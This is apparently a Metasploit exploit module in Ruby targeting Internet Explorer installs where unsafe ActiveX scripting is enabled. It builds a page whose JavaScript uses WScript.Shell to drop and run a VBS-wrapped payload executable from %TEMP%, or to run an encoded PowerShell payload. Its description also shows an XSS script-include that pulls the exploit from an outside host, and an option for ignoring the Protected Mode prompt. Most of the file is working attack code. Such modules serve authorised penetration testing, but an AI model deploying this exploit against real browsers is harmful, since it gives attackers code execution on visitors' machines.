##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/util/exe'
require 'msf/core/exploit/powershell'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::Remote::BrowserExploitServer
  include Msf::Exploit::EXE
  include Msf::Exploit::Powershell

  VULN_CHECK_JS = %Q|
    try {
      new ActiveXObject("WScript.Shell");
      new ActiveXObject("Scripting.FileSystemObject");
      is_vuln = true;
    } catch(e) {}
  |


  def initialize(info = {})
    super(update_info(info,
      'Name'                  => 'Microsoft Internet Explorer Unsafe Scripting Misconfiguration',
      'Description'           => %q{
        This exploit takes advantage of the "Initialize and script ActiveX controls not
      marked safe for scripting" setting within Internet Explorer.  When this option is set,
      IE allows access to the WScript.Shell ActiveX control, which allows javascript to
      interact with the file system and run commands.  This security flaw is not uncommon
      in corporate environments for the 'Intranet' or 'Trusted Site' zones.

        When set via domain policy, the most common registry entry to modify is HKLM\
      Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\1201,
      which if set to '0' forces ActiveX controls not marked safe for scripting to be
      enabled for the Intranet zone.

        This module creates a javascript/html hybrid that will render correctly either
      via a direct GET http://msf-server/ or as a javascript include, such as in:
      http://intranet-server/xss.asp?id="><script%20src=http://10.10.10.10/ie_unsafe_script.js>
      </script>.

        IE Tabs, WScript and subsequent Powershell prompts all run as x86 even when run from
      an x64 iexplore.exe.

        By default, this module will not attempt to fire against IEs that come with Protected
      Mode enabled by default, because it can trigger a security prompt. However, if you are
      feeling brave, you can choose to ignore this restriction by setting the ALLOWPROMPT
      datastore option to true.
      },

      'License'               => MSF_LICENSE,
      'Author'                =>
        [
          'natron',
          'Ben Campbell' # PSH and remove ADODB.Stream
        ],
        'References'          =>
        [
          [ 'URL', 'http://support.microsoft.com/kb/182569' ],
          [ 'URL', 'http://blog.invisibledenizen.org/2009/01/ieunsafescripting-metasploit-module.html' ],
          [ 'URL', 'http://support.microsoft.com/kb/870669']
        ],
        'DisclosureDate'      => 'Sep 20 2010',
        'Platform'            => 'win',
        'BrowserRequirements' => {
          source:          'script',
          os_name:         OperatingSystems::Match::WINDOWS,
          ua_name:         HttpClients::IE,
          vuln_test:       VULN_CHECK_JS,
          vuln_test_error: 'WScript.Shell or Scripting.FileSystemObject not allowed by browser.'
        },
        'Arch'                => ARCH_X86,
        'Targets'             =>
          [
            [ 'Windows x86/x64', {} ]
          ],
        'DefaultOptions'      =>
          {
            'HTTP::compression' => 'gzip'
          },
        'DefaultTarget'  => 0
      ))

    register_options(
        [
           OptBool.new('ALLOWPROMPT', [true, 'Allow exploit to ignore the protected mode prompt', false]),
           OptEnum.new('TECHNIQUE', [true, 'Delivery technique (VBS Exe Drop or PSH CMD)', 'VBS', ['VBS','Powershell']])
        ], self.class
    )
  end

  # Unfortunately we don't currently have an explicit way to check whether Protected Mode is
  # actually enabled or not, so we can only rely on whatever is default on the OS. This should
  # allow BAP2 to always fire without worrying about the prmopt popping up, but the user can
  # still ignore this by setting ALLOWPROMPT to true in standalone mode.
  def has_protected_mode_prompt?(browser)
    if datastore['ALLOWPROMPT']
      return false
    elsif OperatingSystems::Match::WINDOWS_XP === browser[:os_name]
      return false
    end

    true
  end

  def on_request_exploit(cli, request, browser)
    if has_protected_mode_prompt?(browser)
      print_warning("This target possibly has Protected Mode, exploit aborted.")
      send_not_found(cli)
      return
    end

    # Build out the HTML response page
    var_shellobj = rand_text_alpha(rand(5)+5)

    p = regenerate_payload(cli)
    if datastore['TECHNIQUE'] == 'VBS'
      js_content = vbs_technique(var_shellobj, p)
    else
      js_content = psh_technique(var_shellobj, p)
    end

    print_status("Request received for #{request.uri}")
    print_status("Sending exploit html/javascript");

    # Transmit the response to the client
    send_response(cli, js_content, { 'Content-Type' => 'text/html' })

    # Handle the payload
    handler(cli)
  end

  def vbs_technique(var_shellobj, p)
    var_fsobj       = rand_text_alpha(rand(5)+5)
    var_fsobj_file  = rand_text_alpha(rand(5)+5)
    var_vbsname     = rand_text_alpha(rand(5)+5)
    var_writedir    = rand_text_alpha(rand(5)+5)

    exe = generate_payload_exe({ :code => p.encoded })
    vbs = Msf::Util::EXE.to_exe_vbs(exe)
    vbs_content =  Rex::Text.to_hex(vbs)

    # Build the javascript that will be served
    js_content  = %Q|
<html><head></head><body><script>
var #{var_shellobj} = new ActiveXObject("WScript.Shell");
var #{var_fsobj}    = new ActiveXObject("Scripting.FileSystemObject");
var #{var_writedir} = #{var_shellobj}.ExpandEnvironmentStrings("%TEMP%");
var #{var_fsobj_file} = #{var_fsobj}.OpenTextFile(#{var_writedir} + "\\\\" + "#{var_vbsname}.vbs",2,true);

#{var_fsobj_file}.Write(unescape("#{vbs_content}"));
#{var_fsobj_file}.Close();

#{var_shellobj}.run("wscript.exe " + #{var_writedir} + "\\\\" + "#{var_vbsname}.vbs", 1, true);
#{var_fsobj}.DeleteFile(#{var_writedir} + "\\\\" + "#{var_vbsname}.vbs");
</script></html>
|
    js_content
  end

  def psh_technique(var_shellobj, p)
    cmd = Rex::Text.to_hex(cmd_psh_payload(payload.encoded, payload_instance.arch.first))
    js_content = %Q|
<html><head></head><body><script>
var #{var_shellobj} = new ActiveXObject("WScript.Shell");
#{var_shellobj}.run(unescape("#{cmd}"), 1, true);
</script></html>
|

    js_content
  end
end
